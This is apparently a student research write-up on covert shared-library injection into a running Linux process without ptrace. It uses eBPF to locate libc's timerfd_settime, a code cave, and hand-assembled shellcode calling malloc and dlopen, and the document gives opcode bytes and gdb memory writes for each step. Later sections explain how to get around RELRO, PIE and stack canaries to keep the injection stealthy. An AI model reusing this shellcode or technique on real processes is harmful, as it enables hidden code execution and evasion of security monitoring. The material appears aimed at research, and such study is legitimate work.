
STEPS TO ACHIEVE LIBRARY
INJECTION WITHOUT PTRACE
USING EBPF

Advantages and disadvantages of this method
+ CET resistant (saved return address is not modified in the stack at any point)
+ Dynamic analysis of binary on runtime, but previous static analysis of libc required to

recognize syscall opcodes
+ Less libc version dependant (no need for gadgets)
- User-mode writing needed

NOTE: Initially, the binary we will be analyzing is compiled with clang, which comes with the
following protections:

- ASLR active
- DEP/NX active
- Stack canaries active
- PIE not active
- Partial RELRO (.GOT writeable).

The last sections detail how to make our injection work with gcc compiled binaries, which
also have active PIE and full RELRO (and Intel CET instructions although they don’t work
yet)

Symbols extraction
Selected syscall → sys_timerfd_settime()

NOTE: It seems that libc has been compiled with CET support since endbr64 instructions
are present, but apparently the shadow stack is not yet merged into the linux kernel (tested).
Talk about this ROP protection in the report.

Analysis of syscall setup and extraction of opcodes
objdump -dS /lib/x86_64-linux-gnu//libc.so.6 | grep -B 5 -A 20 settime@@GLIBC_2.8\>::



Thus the syscall opcodes we will look for to detect this syscall, starting from the instruction
before the syscall, is: 0x050f0000011eb8ca8949f30f1efa (14 bytes)
The endbr64 instructions are JOP protection from Intel CET and are always produced by
recent gcc versions.

Analysis of function calling from the program to the
shared library glibc
We will make use of known stack addresses (syscall arguments) in order to detect the
memory position of the function in glibc which calls the syscall. That will let us infer the
position of any other function in glibc.
Once we have correctly identified that an address leads us to the correct syscall, we will also
be able to extract the saved eip from the stack.

So we know that the call starts with the opcode e8 <+ 4 bytes>, and that we will have to deal
with a PLT too. PLT jmp instructions are characterized by ff 25 <+ 4 bytes>.

We will proceed to, using the syscall argument as a starting point, scan to lower memory
positions in the stack until we find a call instruction. We extract the offset and reach the PLT
entry.

Using the jmp instruction in there we can extract the offset and thus the address to which it
jumps, thus reaching our syscall setup at libc, which must be equal to the one found before
(0x050f0000011eb8ca8949f30f1efa).



We know where in glibc we must jump because it takes us to an offset indicated in the GOT
section, where the actual address inside the shared library is stored. This is done by the
linker which will patch the corresponding .got section with the address of timerfd_settime in
libc.

But if we check what is at the very start in the GOT section at that position:

It does not correspond to what we were expecting. This is because the linker will, during
each first call of each function of our shared library, process the shared library and write the
actual offset in which the function is placed in it.
If we start a debug session we can see it:



So when reading memory from the offset of the GOT.PLT section we got from the jmp at the
PLT section we will get the actual virtual address at which the function timerfd_settime is
called in glibc and the syscall is performed:

If we go back to the detected call instruction in the stack then we know that the address
which took us to that instruction truly was the saved RIP.

Also now that we know the address of the syscall-calling function at glibc we can calculate
the start of glibc. We only need some previous binary analysis to know the offset to which it
is positioned with respect to that function.
Example:

Analyzed syscall function at glibc: 0x7ffff7d89560
__libc_start_main: 0x7ffff7c99490
Offset main-analyzed syscall: 0xf00d0

__libc_dlopen_mode: 0x7ffff7dc85b0
Offset dlopen - syscall: 3f050
Offset main - dlopen: 0x12f120





Code Cave finding

Header analysis
We need to find a free executable section where to inject code. We analyze the program elf
headers:



Multiple LOAD sections indicate segments with different flags.
Note that protections are applied to whole pages, not parts of a page.

Page size = 4KB = 0x1000



The second LOAD section is the one with PROT_EXEC flag and it does contain the .text
section between others, so it looks like a good place to place our code.

Cave finding
Looking for 64 bytes of empty continuous memory.

They all belong to an unloading routine which does not seem to be using this memory
section for anything. 0x402e95 will be our code cave.



Payload building

Restoring execution flow
Let’s prepare the shellcode we will inject in our code cave.
We want to backup all registers, call dlopen() for our shared library, restore the state of the
registers and return to the original state of the program. Plus we will add a NOP sled just in
case before our jump point.

The virtual address of dlopen will be obtained at runtime from the analysis we made before.

Calling the syscall we were supposed to call originally is:

mov rax, <syscall address libc> # 48b8 <address little endian>
ffe0 # ffe0 ←jmp (although not really, we explain why later)

Injection via gdb is a success and execution flow continues as usual afterwards since ret is
executed:



Calling __libc_dlopen_mode
dlopen() expects arguments to be in the stack at determined positions (for strings) and the
registers set at:

- RAX: address at PLT where dlopen is called. Maybe we can skip this if we don’t go
through the PLT.

- RSI: RTLD_LAZY (second argument)
- RDI: Address where path of library is found

We have two options, either to write in the heap our string, or to slowly push via assembly
the chars of the library path to the stack via simple push operations.

Using the stack (not implemented)
(not tested, considered not the best method)

2F 68 6F 6D 65 2F 6F 73
62 6F 78 65 73 2F 54 46
47 2F 73 72 63 2F 68 65
6C 70 65 72 73 2F 69 6E
6A 65 63 74 69 6F 6E 5F
6C 69 62 2E 73 6F 00 00

After the call we must remove this from the stack. But since the syscall at libc will call ret and
thus pop the next RIP value from there without us having time to pop out our string, then we
will need to, instead of jmp to libc, to call it. Intel CET should not have a problem with this in
the future, since we are not modifying an existing return address, rather inserting a new one
before the previous.

First we reserve 64 bytes in the stack and write our string.
The stack should look like this:

Next we make RSI point to RSP.
Then we mov 0x1 into RDI.
And call the address of libc where the syscall for dlopen is called.

Thus taking all of this into account the shellcode is as follows:

682F686F6D                        #push 0x736f2f656d6f682f
68626F7865                         #push 0x46542f7365786f62



68472F7372                         #push 0x65682f6372732f47
686C706572                        #push 0x6e692f737265706c
686A656374                         #push 0x5f6e6f697463656a
686C69622E                          #push 0x00006f732e62696c
48b8 <address little endian>0000  #mov rax, <syscall address libc>
BE01000000                           #mov rsi, 0x1
4889E7                                    #mov rdi, rsp
ffd0                                          #call rax

For gdb:
set $rsp = $rsp-0x64
set {char[48]} 0x7fffffffdc44 = "/home/osboxes/TFG/src/helpers/injection_lib.so"
set *(int64_t *)0x402e95 = 0x7FFFF7DC85B0B848
set *(int64_t *)0x402e9d = 0x4800000001BE0000
set *(int64_t *)0x402ea5 = 0xd0ffe789

Using the heap (chosen method)
The address of malloc can be determined by the original process of glibc address extraction.

The calling convention of malloc is to store in RDI the number of bytes to allocate.
The pointer to the allocated address is returned in RAX.

Thus taking into account the calling conventions explained in the previous section too, we
have the following shellcode:



//Saving state of registers
55 push rbp
50 push rax
51 push rcx
52 push rdx
53 push rbx
57 push rdi
56 push rsi

//Call malloc. Get address in .bss
BF00200000 #mov edi,0x2000
48bb<address little endian 64bit>     #mov rbx, <malloc address libc>

#Ex:48BB3081D0F7FF7F0000
ffd3                                                     #call rbx
4889C3                                               #mov rbx, rax

//Write the string of the library path into reserved memory
C7002F686F6D mov dword [rax],0x6d6f682f
C74004652F6F73 mov dword [rax+0x4],0x736f2f65
C74008626F7865 mov dword [rax+0x8],0x65786f62
C7400C732F5446 mov dword [rax+0xc],0x46542f73
C74010472F7372 mov dword [rax+0x10],0x72732f47
C74014632F6865 mov dword [rax+0x14],0x65682f63
C740186C706572 mov dword [rax+0x18],0x7265706c
C7401C732F696E mov dword [rax+0x1c],0x6e692f73
C740206A656374 mov dword [rax+0x20],0x7463656a
C74024696F6E5F mov dword [rax+0x24],0x5f6e6f69
C740286C69622E mov dword [rax+0x28],0x2e62696c
C7402C736F0000 mov dword [rax+0x2c],0x6f73

48b8 <address little endian 64 bit>     #mov rax, <dlopen address libc>
BE01000000                                      #mov rsi, 0x1
4889DF                                              #mov rdi, rbx
– – 4889DC mov rsp,rbx
4881EC00100000 sub rsp,0x1000
– – 4889E5 mov rbp,rsp
ffd0                                                     #call rax
//TODO call free

//Restoring state of registers and execution flow
4881C400100000 add rsp,0x1000
5E pop rsi
5F pop rdi
5B pop rbx
5A pop rdx
59 pop rcx
58 pop rax
5D pop rbp
C3 ret



For GDB testing(no restoring state):
set *(int64_t *)0x402e95 = 0x30BB4800002000BF
set *(int64_t *)0x402e9d = 0xFF00007FFFF7E561
set *(int64_t *)0x402ea5 = 0x682F00C7C38948D3
set *(int64_t *)0x402ead = 0x6F2F650440C76D6F
set *(int64_t *)0x402eb5 = 0x65786F620840C773
set *(int64_t *)0x402ebd = 0xC746542F730C40C7
set *(int64_t *)0x402ec5 = 0x40C772732F471040
set *(int64_t *)0x402ecd = 0x1840C765682F6314
set *(int64_t *)0x402ed5 = 0x731C40C77265706C
set *(int64_t *)0x402edd = 0x656A2040C76E692F
set *(int64_t *)0x402ee5 = 0x6E6F692440C77463
set *(int64_t *)0x402eed = 0x2E62696C2840C75F
set *(int64_t *)0x402ef5 = 0x4800006F732C40C7
set *(int64_t *)0x402efd = 0x007FFFF7F165B0B8
set *(int64_t *)0x402f05 = 0x894800000001BE00
set *(int64_t *)0x402f0d = 0x00C48148DC8948DF
set *(int64_t *)0x402f15 = 0xD0FFE58948000010

Full shellcode for runtime injection can be found at TFG/src/common/constants.h

Circumventing RELRO
Relocation Read Only introduces some changes in the binary which we must circumvent if it
was compiled with modern gcc.
The address of the shared libraries will not be loaded at runtime via the GOT section, rather
we will find the following after a call to the PLT:

Recent gcc versions incorporate CET and a new endbr64 instruction is inserted (interestingly
it might be an accident, since we call this place instead of jumping to it, this might mean that
the PLT will be a valid landing point for JOP in the future??).

Taking all of this into account we can still perform the same attack as previously but writing
into memory at the GOT section is now blocked from us in the kernel.



Defeating PIE
With PIE, the starting address of our executable changes, so we cannot localize a code cave
via a static analysis (or we could by calculating some offsets from known .text positions such
as libc calls).

We can still easily create a dynamic searcher which looks for code caves at runtime using
the /proc/pid/maps file and then works with memory via /proc/pid/mem.

Defeating stack canaries
Preventing stack smashing detection is as simple as preventing any changes in the stack to
be seen after we are done loading the shared library. For that we include in the code cave
shellcode some push and pop operations (orange sections in shellcode before) to ensure
consistency after the routine returns. Since we are using ret to go back, as libc does, the
process is not visible and the injection is stealth unless the process execution flow is actively
being monitored.


